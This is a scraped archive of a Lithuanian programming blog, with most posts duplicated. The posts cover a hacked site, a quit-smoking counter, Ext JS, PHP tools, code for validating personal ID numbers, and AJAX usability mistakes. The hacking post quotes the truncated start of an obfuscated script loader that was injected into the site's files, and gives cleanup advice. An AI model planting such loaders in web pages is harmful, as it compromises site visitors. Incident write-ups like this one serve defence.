Šiandien užsukęs į savo svetainę pamačiau, kad ji neveikia. Kadangi aš prieš tai tikrai nieko nekenčiau. Prisijungęs prie serverio per FTP pastebėjau, kad įterptas failo gale kodas:
/*GNU GPL*/ try{window.onload = function(){var Xs1ya4t7ajb13i = document.createElement(‘script’);Xs1ya4t7ajb13i.setAttribute(‘type’, ‘text/javascript’);[.. ir t.t. ..] catch(e) {}
Ir toks pakeitimas tikrai ne vienas, pakeista virš 2000 failų. Atakuojami failai (*.js, index.php(phtml|html|htm), main.php(phtml|html|htm). Visą failų sąrašą galima gauti pas adminus.
Gavęs sąrašą failų iš admino matosi, kad buvo panaudotas vos ne visas BOT tinklas, nes prisijungimai buvo daromi daugiau ne 10 (tingiu skaičiuoti) kompiuterių iš skirtingų tinklų.
Ką tokiu atveju daryti?
- Visų pirma pasikeisti FTP slaptažodžius
- Žinoma, naikinti kodus (nesmagus užsiėmimas)
- Pasitikrinti virusus savo kompe (ar ten kur yra jūsų prisijungimai)
- Ką dar siūlote?
Šiandien užsukęs į savo svetainę pamačiau, kad ji neveikia. Kadangi aš prieš tai tikrai nieko nekenčiau. Prisijungęs prie serverio per FTP pastebėjau, kad įterptas failo gale kodas:
/*GNU GPL*/ try{window.onload = function(){var Xs1ya4t7ajb13i = document.createElement('script');Xs1ya4t7ajb13i.setAttribute('type', 'text/javascript');[.. ir t.t. ..] catch(e) {}
Ir toks pakeitimas tikrai ne vienas, pakeista virš 2000 failų. Atakuojami failai (*.js, index.php(phtml|html|htm), main.php(phtml|html|htm). Visą failų sąrašą galima gauti pas adminus.
Gavęs sąrašą failų iš admino matosi, kad buvo panaudotas vos ne visas BOT tinklas, nes prisijungimai buvo daromi daugiau ne 10 (tingiu skaičiuoti) kompiuterių iš skirtingų tinklų.
Ką tokiu atveju daryti?
Visų pirma pasikeisti FTP slaptažodžius
Žinoma, naikinti kodus (nesmagus užsiėmimas)
Pasitikrinti virusus savo kompe (ar ten kur yra jūsų prisijungimai)
Ką dar siūlote?
Jei užsimanei mesti rūkyti – tai tikrai sudėtingas procesas. Jis reikalauja velnioniškai daug pastangų. Nė vienam turbūt nepavyks mesti rūkyti jei jis neras savyje tam tikros priežasties. Vienas iš variantų – kažkam prisižadėti (gal net sau) ir galbūt net pasiskirti kokį nors prizą sau išlaikius šį gyvenimo egzaminą. Žinoma tinka ir lažybos.
Vienas iš įdomių veiksmų stebėti kaip rūkymas keičia tavo gyvenimą. Kažkada išvydau tam skirtą programą My Last Cigarette, kurioje suvedus tam tikrus duomenis matysite kaip jums sekasi. Patys svarbiausi yra šitie:
- Kiek laiko nerūkote.
- Kiek cigarečių nesurūkėte. Po pusmečio kiekis atrodo milžiniškas. O dar pažiūrėjus tokį eksperimentą…
- Kiek laiko prasmingiau gyvenate (extra days). Juk kiekvieną cigaretę surūkyti užima tam tikrą laiko tarpą. Daugelis rūkymo ritualui skiria valandą ir daugiau!
Turbūt pastebėjote, kad nerūkymo statistika rodantis mano pasiekimus yra įdiegta šio tinklaraščio šone. Jis turbūt labiausiai skirtas man pačiam.
Jei jau metėte ar norite mesti rūkyti galite irgi įsidiegti tokią statistika. Norite? Kad jums nereikėtų vargti aš padariau universalų skriptuką, kurį turėtumėte pasitalpinti savo tinklaraštyje. Tikiuosi perskaitę komentarus faile galėsite lengvai įsidiegti ir pasikoreguoti pagal save [ Parsisiųsti failą ].
Jei jūs įsidiegėte šį skriptuką pas save, praneškite čia. Mes su malonumu pažiūrėsime, kaip jums sekasi.
Jei užsimanei mesti rūkyti - tai tikrai sudėtingas procesas. Jis reikalauja velnioniškai daug pastangų. Nė vienam turbūt nepavyks mesti rūkyti jei jis neras savyje tam tikros priežasties. Vienas iš variantų - kažkam prisižadėti (gal net sau) ir galbūt net pasiskirti kokį nors prizą sau išlaikius šį gyvenimo egzaminą. Žinoma tinka ir lažybos.
Vienas iš įdomių veiksmų stebėti kaip rūkymas keičia tavo gyvenimą. Kažkada išvydau tam skirtą programą My Last Cigarette, kurioje suvedus tam tikrus duomenis matysite kaip jums sekasi. Patys svarbiausi yra šitie:
Kiek laiko nerūkote.
Kiek cigarečių nesurūkėte. Po pusmečio kiekis atrodo milžiniškas. O dar pažiūrėjus tokį eksperimentą...
Kiek laiko prasmingiau gyvenate (extra days). Juk kiekvieną cigaretę surūkyti užima tam tikrą laiko tarpą. Daugelis rūkymo ritualui skiria valandą ir daugiau!
Turbūt pastebėjote, kad nerūkymo statistika rodantis mano pasiekimus yra įdiegta šio tinklaraščio šone
Gan neseniai išėjo EXT JS bibliotekos antra versija. Ji leidžia kurti pasinaudojus bibiliotekas web aplikacijas, kurios panašios į desktopines.
Tai tikrai patogu, bent man jau tam tikriuose vidinėse svetainėse. Tarkim administravimo sistemai. Be to tikrai neblogai atrodo. Bet jei pabandytume tai realizuoti kuriai nors viešai svetainei, na gal blogui nežinau ar lankytojai būtų stipriai sužavėti. Beja tokia tema jau egzisuoja (Ext JS WordPress Theme Blog).
EXT bilbioletka leidžia gan lengvai (na įprasti reikia) susikurti įrankius, kurių nėra standartinėse HTML bibliotekose. Tai medžiai, tabai, gridai, custom alertai. comboboxai ir t.t. Štai keletas pavyzdžių: dekstopo imitacija, foto galerija/albumas, RSS skaitytuvus. Kitus pavyzdžius galite pasižiūrėti svetainėje.
Hm.. gaila kad darbe šiuo metu man netenka dirbti su tokiom aplikacijoms. Heh patiktų…
Tiesa kažkada minėjau bindows biblioteką, kuris tikrai yra galingas tiek savybėmis tiek kaina. O Ext gali būti tiek komercinis, tiek open source.
Gan neseniai išėjo EXT JS bibliotekos antra versija. Ji leidžia kurti pasinaudojus bibiliotekas web aplikacijas, kurios panašios į desktopines. Tai tikrai patogu, bent man jau tam tikriuose vidinėse svetainėse. Tarkim administravimo sistemai. Be to tikrai neblogai atrodo. Bet jei pabandytume tai realizuoti kuriai nors viešai svetainei, na gal blogui nežinau ar lankytojai būtų stipriai sužavėti. Beja tokia tema jau egzisuoja (Ext JS Wordpress Theme Blog). EXT bilbioletka leidžia gan lengvai (na įprasti reikia) susikurti įrankius, kurių nėra standartinėse HTML bibliotekose. Tai medžiai, tabai, gridai, custom alertai. comboboxai ir t.t. Štai keletas pavyzdžių: dekstopo imitacija, foto galerija/albumas, RSS skaitytuvus. Kitus pavyzdžius galite pasižiūrėti svetainėje. Hm.. gaila kad darbe šiuo metu man netenka dirbti su tokiom aplikacijoms. Heh patiktų... Tiesa kažkada minėjau bindows biblioteką, kuris tikrai yra galingas tiek savybėmis tiek kaina. O Ext gali būt
Programuojant, bet kokia programavimo kalba yra būtinas stebėti/patikrinti kaip koks kintamasis atrodo. Tai galėtų būti stringas, masyvas, objektas ir t.t. JavaScript tokios kaip ir standartinės funkcijos neturi, bet yra jau keletų alternatyvų. Tokios informacijos naudingumą javascript’e jau atradau ganėtinai seniai, kai pradėjau programuoti su turinio valdymo sistema SiteSupra. Daugeliui turbūt padeda firefox papildinys firebug. Na o toks standalone.. tikrai vertas dėmesio yra šiandien atrastas Javascript dump, kuris sugeba atvaizduoti tokius dalykėlius kaip String/Number/Boolean/Object/Array/Function. Heh malonus žaisliukas, kurio idėja kilo iš ColdFusiono, su kurio dabar tenka žaisti.. vieno projekto atnaujinimams.
Programuojant, bet kokia programavimo kalba yra būtinas stebėti/patikrinti kaip koks kintamasis atrodo. Tai galėtų būti stringas, masyvas, objektas ir t.t. JavaScript tokios kaip ir standartinės funkcijos neturi, bet yra jau keletų alternatyvų. Tokios informacijos naudingumą javascript'e jau atradau ganėtinai seniai, kai pradėjau programuoti su turinio valdymo sistema SiteSupra. Daugeliui turbūt padeda firefox papildinys firebug. Na o toks standalone.. tikrai vertas dėmesio yra šiandien atrastas Javascript dump, kuris sugeba atvaizduoti tokius dalykėlius kaip String/Number/Boolean/Object/Array/Function. Heh malonus žaisliukas, kurio idėja kilo iš ColdFusiono, su kurio dabar tenka žaisti.. vieno projekto atnaujinimams.
Kiekvienas dirbantis savo srityje turi įrankius, web programuotojas ne išimtis. Kadangi esu PHP programuotojas parašysiu ką naudoju ir kokie įrankiai po ranka.
- Zend Studio – turintis daug gerių savybių PHP redaktorius… deja kainuojantis.
- Eclipse – Galingas redaktorius skirtas redaguoti įvairių progamavimo kalbų kodui su sintaksės spalvinimu, autocomplete palaikymu ir t.t. Tereikia įsidiegti papildomus pluginus ir jūs turėsite naujų savybių. Šioje programoje yra bent man geriausias matytas CVS/SVN palaikymo pricipas: sinchronizacija skirtymų – atnaujini tik tai ką tau reikia. Na PHP programuotojai gali pradėti diegti nuo PHPEclipse iškart gaus PHP palaikyma. Nemokamas
- SQLyog MySQL GUI – Community Edition – MySQL duomenų bazės programėlė. Patogu testuoti užklausas, analizuoti struktūras ir t.t. Maloniausia, kad ši versija nemokama. Mokomoj versijoje atsiranda kitų gerų toolsų, tokių kaip duomenų bazių palyginimas (skirtumai ir etc), sinchronozavimai, exportavimai/importavimai iš įvairių formatų. Nemokamas
- WinMerge – Failų skirtymų palyginima.
- The Regex Coach – reguliujų išraiškų programėlė. Palengvina regex’ų rašya
- Na turbūt į sąrašą reiktų įtraukti ir žymujį PHPMyAdmin bet PHP manualą (tiesa chm formate su paieška ir komentarais) :)
Kas būtų dar naudinga? Jūsų nuomonė…
Kiekvienas dirbantis savo srityje turi įrankius, web programuotojas ne išimtis. Kadangi esu PHP programuotojas parašysiu ką naudoju ir kokie įrankiai po ranka.
Zend Studio - turintis daug gerių savybių PHP redaktorius... deja kainuojantis.
Eclipse - Galingas redaktorius skirtas redaguoti įvairių progamavimo kalbų kodui su sintaksės spalvinimu, autocomplete palaikymu ir t.t. Tereikia įsidiegti papildomus pluginus ir jūs turėsite naujų savybių. Šioje programoje yra bent man geriausias matytas CVS/SVN palaikymo pricipas: sinchronizacija skirtymų - atnaujini tik tai ką tau reikia. Na PHP programuotojai gali pradėti diegti nuo PHPEclipse iškart gaus PHP palaikyma. Nemokamas
SQLyog MySQL GUI - Community Edition - MySQL duomenų bazės programėlė. Patogu testuoti užklausas, analizuoti struktūras ir t.t. Maloniausia, kad ši versija nemokama. Mokomoj versijoje atsiranda kitų gerų toolsų, tokių kaip duomenų bazių palyginimas (skirtumai ir etc), sinchronozavimai, exportavimai/impo
Visai įdomus sprendimas ir idėja nebloga, nors paprasta. Patestuokite patys, kolkas supranta PHP, Mysql, Javascript, Css.
Visai įdomus sprendimas ir idėja nebloga, nors paprasta. Patestuokite patys, kolkas supranta PHP, Mysql, Javascript, Css.
Reikia patikrinti asmens kodo teisingumą? Manau šis dalykas jums pravers. Skanaus.
Algoritmas lietuviško asmens kodo (nuo 65 puslapio).
PHP, JavaScript versija pateikti nuo manęs, kiti buvo parodyti kaip komenarai senojoje blogo versijoje.
PHP
PHP - Copy Code
1 <?
2 /**
3 * Tikrina ar asmens kodas
4 *
5 * @param string $s
6 * @return bool
7 */
8
9 function ar_asmens_kodas($s) {
10 if (!is_numeric($s) || strlen($s)!=11) {
11 return false;
12 }
13 $d=0; $e=0; $b=1; $c=3;
14 for ($i=0;$i<10;$i++) {
15 $a=$s[$i];
16 $d=$d+($b*$a);
17 $e=$e+($c*$a);
18 $b++; if ($b==10) $b=1;
19 $c++; if ($c==10) $c=1;
20 }
21 $d=$d % 11;
22 $e=$e % 11;
23 if ($d==10) {
24 $i = ($e == 10) ? 0 : $e;
25 } else {
26 $i = $d;
27 }
28 return ($s[10]==$i) ? true : false;
29 }
30
31 /**
32 * Butinai reikia paduotu stringa siam scriptui atveju, pvz
33 * ar_asmens_kodas('38011254123');
34 */
35 ?>
Javscript
Javascript – Copy Code
1 function tikrinti_akoda(kodas) {
2 var i,a,b,c,d,e;
3 var s = new String(kodas);
4 d=0;
5 e=0;
6 b=1;
7 c=3;
8 for (i=0;i<10;i++) {
9 a=s.charAt(i);
10 d=d+(b*a);
11 e=e+(c*a);
12 b=b+1;
13 if (b==10)
14 b=1;
15 c=c+1;
16 if (c==10)
17 c=1;
18 }
19 d=d % 11;
20 e=e % 11;
21 if (d==10) {
22 if (e==10)
23 i=0;
24 else
25 i=e;
26 } else
27 i=d;
28 if (s.charAt(10)==i)
29 return true;
30 else
31 return false;
32 }
Perl
http://search.cpan.org/~kudarasp/Asmens-Kodas-0.02/lib/Asmens/Kodas.pm
MS SQL
Copy Code
1 CREATE PROCEDURE asmensKodoTikrinimasSP
2 ( @AsmensKodas bigint
3 )
4 AS
5 BEGIN
6 DECLARE @L INTEGER,
7 @M1 INTEGER,
8 @M2 INTEGER,
9 @M3 INTEGER,
10 @M4 INTEGER,
11 @D1 INTEGER,
12 @D2 INTEGER,
13 @R1 INTEGER,
14 @R2 INTEGER,
15 @R3 INTEGER,
16 @K INTEGER,
17 @ATS BIT
18
19 IF @AsmensKodas > 10000000000
20 BEGIN
21 IF @AsmensKodas < 69999999999
22 BEGIN
23 SET @L = @AsmensKodas / 10000000000
24 SET @AsmensKodas = @AsmensKodas - (10000000000 * @L)
25 SET @M1 = @AsmensKodas / 1000000000
26 SET @AsmensKodas = @AsmensKodas % 1000000000
27 SET @M2 = @AsmensKodas / 100000000
28 SET @AsmensKodas = @AsmensKodas % 100000000
29 SET @M3 = @AsmensKodas / 10000000
30 SET @AsmensKodas = @AsmensKodas % 10000000
31 SET @M4 = @AsmensKodas / 1000000
32 SET @AsmensKodas = @AsmensKodas % 1000000
33 SET @D1 = @AsmensKodas / 100000
34 SET @AsmensKodas = @AsmensKodas % 100000
35 SET @D2 = @AsmensKodas / 10000
36 SET @AsmensKodas = @AsmensKodas % 10000
37 SET @R1 = @AsmensKodas / 1000
38 SET @AsmensKodas = @AsmensKodas % 1000
39 SET @R2 = @AsmensKodas / 100
40 SET @AsmensKodas = @AsmensKodas % 100
41 SET @R3 = @AsmensKodas / 10
42 SET @AsmensKodas = @AsmensKodas % 10
43 SET @K = @AsmensKodas
44
45 DECLARE @Suma INTEGER, @Liekana INTEGER
46 SET @Suma = @L * 1 + @M1 * 2 + @M2 * 3 + @M3 * 4 + @M4 * 5 +
47 @D1 * 6 + @D2 * 7 + @R1 * 8 + @R2 * 9 + @R3 * 1
48 SET @Liekana = @Suma % 11
49 IF @Liekana <> 10
50 BEGIN
51 IF @Liekana = @K
52 SET @ATS = 1
53 ELSE
54 SET @ATS = 0
55 END
56 ELSE
57 BEGIN
58 SET @Suma = @L * 3 + @M1 * 4 + @M2 * 5 + @M3 * 6 + @M4 * 7 +
59 @D1 * 8 + @D2 * 9 + @R1 * 1 + @R2 * 2 + @R3 * 3
60 SET @Liekana = @Suma % 11
61 IF @Liekana <> 10
62 BEGIN
63 IF @Liekana = @K
64 SET @ATS = 1
65 ELSE
66 SET @ATS = 0
67 END
68 ELSE
69 BEGIN
70 SET @Liekana = 0
71 IF @Liekana = @K
72 SET @ATS = 1
73 ELSE
74 SET @ATS = 0
75 END
76 END
77 END
78 ELSE
79 SET @ATS = 0
80 END
81 ELSE
82 SET @ATS = 0
83
84 SELECT @ATS
Kita
Na daugiau :) Dos versija
Reikia patikrinti asmens kodo teisingumą? Manau šis dalykas jums pravers. Skanaus.
Algoritmas lietuviško asmens kodo (nuo 65 puslapio).
PHP, JavaScript versija pateikti nuo manęs, kiti buvo parodyti kaip komenarai senojoje blogo versijoje.
PHP
PHP - Copy Code
1 <?
2 /**
3 * Tikrina ar asmens kodas
4 *
5 * @param string $s
6 * @return bool
7 */
8
9 function ar_asmens_kodas($s) {
10 if (!is_numeric($s) || strlen($s)!=11) {
11 return false;
12 }
13 $d=0; $e=0; $b=1; $c=3;
14 for ($i=0;$i<10;$i++) {
15 $a=$s[$i];
16 $d=$d+($b*$a);
17 $e=$e+($c*$a);
18 $b++; if ($b==10) $b=1;
19 $c++; if ($c==10) $c=1;
20 }
21 $d=$d % 11;
22 $e=$e % 11;
23 if ($d==10) {
24 $i = ($e == 10) ? 0 : $e;
25 } else {
26 $i = $d;
27 }
28 return ($s[10]==$i) ? true : false;
29 }
30
31 /**
32 * Butinai reikia paduotu stringa siam scriptui atveju, pvz
33
Turbūt iš senesnių postų aiškų, kad aš webinių aplikacijų gerbėjas. Bet, kaip ir kiekvienas sprendimas turi savų minusų. Štai kokias klaidas AJAX sistemų apibudina SourceLabs svetainė.
Tikrai tingiu versti. Tad sorry:
- Not giving immediate visual cues for clicking widgets.
If something I’m clicking on is triggering Ajax actions, you have to give me a visual cue that something is going on. An example of this is GMail loading button that is in the top right. Whenever I do something in GMail, a little red box in the top right indicates that the page is loading, to make up for the fact that Ajax doesn’t trigger the normal web UI for new page loading.
- Breaking the back button
The back button is a great feature of standard web site user interfaces. Unfortunately, the back button doesn’t mesh very well with Javascript. Keeping back button functionality is a major reason not to go with a pure Javascript web app.
- Changing state with links (GET requests)
As I’ve referenced in a previous posting, Ajax applications introduce lots of problems for users who assume GET operations don’t change state. Not only do state changing links cause problems for robots, users who are accustomed to having links drive navigation can become confused when links are used to drive application state changes.
- Blinking and changing parts of the page unexpectedly
The first A in Ajax stands for asynchronous. The problem with asynchronous messages is that they can be quite confusing when they are pop in unexpectedly. Asynchronous page changes should only ever occur in narrowly defined places and should be used judiciously, flashing and blinking in messages in areas I don’t want to concentrate on harkens back to days of the html blink tag.
- Not using links I can pass to friends or bookmark
Another great feature of websites is that I can pass URLs to other people and they can see the same thing that I’m seeing. I can also bookmark an index into my site navigation and come back to it later. Javascript, and thus Ajax applications, can cause huge problems for this model of use. Since the Javascript is dynamically generating the page instead of the server, the URL is cut out of the loop and can no longer be used as an index into navigation. This is a very unfortunate feature to lose, many Ajax webapps thoughtfully include specially constructed permalinks for this exact reason.
- Too much code makes the browser slow
Ajax introduces a way to make much more interesting javascript applications, unfortunately interesting often means more code running. More code running means more work for the browser, which means that for some javascript intensive websites, especially poorly coded ones, you need to have a powerful CPU to keep the functionality zippy. The CPU problem has actually been a limit on javascript functionality in the past, and just because computers have gotten faster doesn’t mean the problem has disappeared.
- Inventing new UI conventions
A major mistake that is easy to make with Ajax is: ‘click on this non obvious thing to drive this other non obvious result’. Sure, users who use an application for a while may learn that if you click and hold down the mouse on this div that you can then drag it and permanently move it to this other place, but since that’s not in the common user experience, you increase the time and difficulty of learning your application, which is a major negative for any application.
- Not cascading local changes to other parts of the page
Since Ajax/Javascript gives you such specific control over page content, it’s easy to get too focused on a single area of content and miss the overall integrated picture. An example of this is the Backpackit title. If you change a Backpackit page title, they immediately replace the title, they even remember to replace the title on the right, but they don’t replace the head title tag with the new page title. With Ajax you have to think about the whole picture even with localized changes.
- Asynchronously performing batch operations
Sure with Ajax you can make edits to a lot of form fields happen immediately, but that can cause a lot of problems. For example if I check off a lot of check boxes that are each sent asynchronously to the server, I lose my ability to keep track of the overall state of checkbox changes and the flood of checkbox change indications will be annoying and disconcerting.
- Scrolling the page and making me lose my place
Another problem with popping text into a running page is that it can effect the page scroll. I may be happily reading an article or paging through a long list, and an asynchronous javascript request will decide to cut out a paragraph way above where I’m reading, cutting my reading flow off. This is obviously annoying and it wastes my time trying to figure out my place.
Turbūt iš senesnių postų aiškų, kad aš webinių aplikacijų gerbėjas. Bet, kaip ir kiekvienas sprendimas turi savų minusų. Štai kokias klaidas AJAX sistemų apibudina SourceLabs svetainė.
Tikrai tingiu versti. Tad sorry: Not giving immediate visual cues for clicking widgets. If something I'm clicking on is triggering Ajax actions, you have to give me a visual cue that something is going on. An example of this is GMail loading button that is in the top right. Whenever I do something in GMail, a little red box in the top right indicates that the page is loading, to make up for the fact that Ajax doesn't trigger the normal web UI for new page loading.Breaking the back button The back button is a great feature of standard web site user interfaces. Unfortunately, the back button doesn't mesh very well with Javascript. Keeping back button functionality is a major reason not to go with a pure Javascript web app.Changing state with links (GET requests) As I've referenced in a previous posting,